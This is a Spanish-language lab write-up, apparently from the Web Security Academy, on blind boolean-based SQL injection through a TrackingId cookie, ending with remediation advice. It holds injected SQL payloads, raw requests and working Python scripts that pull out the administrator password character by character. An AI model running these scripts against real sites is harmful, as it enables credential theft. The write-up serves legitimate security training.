Blind boolean-based SQLi con respuestas condicionales: oráculo 'Welcome back!' en la cookie TrackingId
Extracción blind de la password de administrator usando el mensaje 'Welcome back!' como oráculo booleano en la cookie TrackingId, con information_schema y SUBSTRING.
1. Target Overview & Vulnerability Summary
La aplicación inyecta el valor de la cookie TrackingId en una consulta SQL de analytics. No refleja resultados ni muestra errores, pero la página incluye el mensaje Welcome back! cuando la consulta devuelve al menos una fila. Ese cambio de contenido es el único canal binario disponible, lo que define la clase de ataque como blind boolean-based con oráculo de contenido.
| Severidad | Endpoint vulnerable | Root cause |
|---|---|---|
| High | GET / — cookie TrackingId |
Concatenación del valor de la cookie en una query SQL; el estado filas/no-filas se traduce en un mensaje condicional que actúa de oráculo |
2. Technical Breakdown & Exploitation Flow
2.1 Confirmación del oráculo
Cerrar el literal con ' y añadir una tautología restaura la condición de filas:
GET / HTTP/1.1
Host: 0a3000450433ea41c0ad68b200e40077.web-security-academy.net
Cookie: TrackingId=ikI75WAivHT5piK1' AND '1'='1
La respuesta contiene Welcome back!. Con ' AND '1'='2 el mensaje desaparece: el oráculo responde a condiciones booleanas.
Probe inicial reutilizable:
#!/usr/bin/env python3
import requests
url = 'https://0a3000450433ea41c0ad68b200e40077.web-security-academy.net/'
trackingid = 'YOUR_TRACKING_ID'
payload = f'''{trackingid}PAYLOAD_HERE'''
cookie = {
'session': 'YOUR_SESSION_ID',
'TrackingId': payload
}
r = requests.get(url, cookies=cookie)
if 'Welcome back!' in r.text:
print('True')
else:
print('False')
2.2 Verificación de la tabla users
Usando information_schema.tables como metadato: la subconsulta devuelve una fila solo si la tabla existe, y el = 'users' la fuerza a ser igual a la que buscamos:
' AND (SELECT table_name FROM information_schema.tables WHERE table_name='users') = 'users'
Retorna Welcome back! → users existe.
2.3 Longitud de la password
Se condiciona una subconsulta a la existencia de una fila que cumpla el predicado de longitud:
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=20)='a'
Con longitud 20 el oráculo es verdadero. La query inyectada queda:
SELECT trackingId FROM ... WHERE trackingId = 'ikI75WAivHT5piK1' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=20)='a'
2.4 Extracción posicional con SUBSTRING
Cada carácter se prueba contra el charset [a-z0-9] con SUBSTRING(password,pos,1); el mensaje aparece solo en el acierto. Script secuencial:
#!/usr/bin/env python3
import requests
from string import ascii_lowercase, digits
url = 'https://0a3000450433ea41c0ad68b200e40077.web-security-academy.net/'
trackingid = 'ikI75WAivHT5piK1'
chars = ascii_lowercase + digits
position = 1
password = ''
while True:
for character in chars:
payload = f'''{trackingid}' AND (SELECT SUBSTRING(password,{position},1) FROM users WHERE username='administrator')='{character}'''
cookie = {
'session': 'YOUR_SESSION_ID',
'TrackingId': payload
}
r = requests.get(url, cookies=cookie)
if 'Welcome back!' in r.text:
password += ''.join(character)
print(f'[+] Found password: {password}', end='\r')
position += 1
break
if len(password) >= 20:
print(f'[+] administrator password: {password}')
exit()
Versión optimizada con un pool por posición:
#!/usr/bin/env python3
import requests
from string import ascii_lowercase, digits
from concurrent.futures import ThreadPoolExecutor, as_completed
url = 'https://0a3000450433ea41c0ad68b200e40077.web-security-academy.net/'
trackingid = 'ikI75WAivHT5piK1'
PASSWORD_LENGTH = 20
CHARSET = ascii_lowercase + digits
SESSION_ID = 'YOUR_SESSION_ID'
MAX_WORKERS = 5
def check_character(position: int, character: str) -> tuple:
payload = f"{trackingid}' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),{position},1)='{character}"
cookie = {
'session': SESSION_ID,
'TrackingId': payload
}
try:
response = requests.get(url, cookies=cookie, timeout=10)
return position, character, 'Welcome back!' in response.text
except requests.RequestException:
return position, character, False
def find_character(position: int) -> str:
with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
futures = {
executor.submit(check_character, position, char): char
for char in CHARSET
}
for future in as_completed(futures):
pos, char, found = future.result()
if found:
executor.shutdown(wait=False)
return char
return None
def main():
password = []
print("[*] Iniciando extracción de contraseña...")
for position in range(1, PASSWORD_LENGTH + 1):
char = find_character(position)
if char:
password.append(char)
print(f'[+] Progreso: {"".join(password):<20}', end='\r')
else:
print(f"\n[-] Error: No se encontró carácter en posición {position}")
break
final_password = ''.join(password)
print(f'\n[+] Contraseña de administrator: {final_password}')
if __name__ == "__main__":
main()
3. Root Cause Analysis
La query de analytics se construye por interpolación de la cookie:
SELECT trackingId FROM someTable WHERE trackingId = 'ikI75WAivHT5piK1'
Dos decisiones de diseño convierten la vulnerabilidad en explotable de forma trivial:
- Sin parametrización: el cierre
'del literal permite concatenar SQL arbitrario (' AND ...), pese a ser una entrada indirecta (cookie). - Fuga de estado booleano en la capa de presentación: la plantilla renderiza
Welcome back!condicionado a si la query devolvió filas. Esto filtra el resultado del predicado SQL al HTML, transformando la app en un oráculo que no necesita reflejo de datos ni mensajes de error.
4. Secure Remediation
Parametrización obligatoria de la consulta:
String sql = "SELECT trackingId FROM analytics WHERE trackingId = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, cookie);
Refuerzos complementarios:
- Ejecutar la query de tracking bajo un rol de BD con privilegio
SELECTúnicamente sobre la tabla de analytics (sin acceso ausers), limitando la superficie de drenaje aunque la inyección reaparezca. - No derivar decisiones de presentación del cardinal del resultado de la query de tracking si no es funcionalmente necesario; si el mensaje es cosmético, puede sustituirse por un estado fijo.